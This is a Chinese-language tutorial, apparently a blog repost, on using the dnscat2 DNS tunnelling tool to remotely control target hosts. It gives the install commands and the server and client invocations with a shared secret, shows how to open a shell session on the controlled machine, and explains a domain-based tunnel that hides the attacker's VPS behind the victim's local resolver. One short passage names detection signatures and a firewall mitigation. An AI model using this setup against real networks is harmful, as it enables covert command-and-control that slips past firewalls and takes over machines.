利用DNS隐蔽通信远控目标

DNS基础介绍定义
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务 。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址 。域名解析就是域名到IP地址的转换过程,域名的解析工作由DNS服务器完成
Dnscat2
【利用DNS隐蔽通信远控目标】dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成
场景
一般防火墙不会阻断,应用在防火墙上对其它流量封禁的场景
Dnscat2测试Dnscat2测试-下载安装
本次以dnscat2工具测试远控目标主机,下载安装方式如下,分为客户端和服务端,服务端是攻击机器,测试使用攻击者控制的vps,客户端是被控端,即控制的目标 。
Server:# yum install rubygems# gem install bundler# git clone https://github.com/iagox86/dnscat2.git# cd dnscat2/server# bundle installClient:# git clone https://github.com/iagox86/dnscat2.git# cd dnscat2/client# makeDnscat2测试-服务端
以ruby执行dnscat2.rb,默认执行有个默认秘钥,也可以用-c参数手动指定

利用DNS隐蔽通信远控目标

文章插图
 
Dnscat2测试-客户端
指定连接服务端,--secret指定与上述秘钥一致
利用DNS隐蔽通信远控目标

文章插图
 
Dnscat2测试-会话建立
当客户端执行时会话建立,利用help命令可以查看帮助,sessions命令可以查看建立的会话
利用DNS隐蔽通信远控目标

文章插图
 
session -i 可以进入会话,进入会话后help可查看对应的操作
利用DNS隐蔽通信远控目标

文章插图
 
Dnscat2测试-命令执行
1、在进入会话后输入shell执行命令,这时会提示shell session created,即新建了一个shell会话 。
2、Ctrl+Z退出当前会话,通过sessions命令查看会话信息,再次利用session -i 进入新建的shell会话,即可执行shell命令
利用DNS隐蔽通信远控目标

文章插图
 
Dnscat2测试-通信流量
利用wireshark查看终端通信流量,走的DNS协议,可以看到直接跟攻击者ip通信
利用DNS隐蔽通信远控目标

文章插图
 
DNS隧道通过上面基本测试,可以看到特征明显,很容易被检测发现,上文提到默认的 dnscat 查询中包含了dnscat 字符串,这个可以作为防火墙和入侵检测的特征,此外由于被控终端是直接指定的外联dns解析服务器IP,导致攻击者机器暴露,只需要防火墙上限制只允许与受信任的 DNS 服务器通信即可防范 。
这节我们介绍另一种利用方式,dns隧道 。
DNS隧道
1、DNS 隧道是 C&C 常用的通信方式,一般常用的编码方式 Base64、Binary、Hex 编码等,请求的 Type 一般为 TXT(为了返回的时候能够加入更多的信息),payload 部分一般为子域名
2、根据木马工作原理的不同,将 DNS隧道细分为IP直连型和域名型
上述介绍的其实就是IP直连型,下图为域名型dns隧道,典型的特征是受控终端DNS请求会先发往本地dns服务器解析,然后本地dns服务器再向外解析,最终找到攻击者控制的dns服务器,进而很好的保护了攻击者控制的dns服务端,从受害者终端流量只能看到受害终端与本地dns服务器的流量
利用DNS隐蔽通信远控目标

文章插图
域名型DNS隧道
DNS隧道测试
1、首先需要自己注册一个域名,笔者在阿里云买的,有便宜的几块钱1年,然后配置NS记录和A记录,域名解析服务器直接用的就是vps IP
利用DNS隐蔽通信远控目标

文章插图
 
2、服务端运行dnscat2,这是指向的是域名而不是前面测试直接写的ip,客户端一样
Server:ruby ./dnscat2.rb c.xxxxxx.top -e open -c 123456 --no-cacheClient:./dnscat --secret=123456 c.xxxxxx.top
利用DNS隐蔽通信远控目标

文章插图
服务端

利用DNS隐蔽通信远控目标

文章插图
客户端
dnscat2参数定义:
-c 参数定义了 pre-shared secret,可以使用具有预共享密钥的身份验证来防止中间人(man-in-the-middle)攻击,否则传输数据并未加密,有可能被监听网络流量的第三方还原;如果不加定义,Dnscat2会生成一个字符串,记得拷贝下来在启动客户端时使用 。


推荐阅读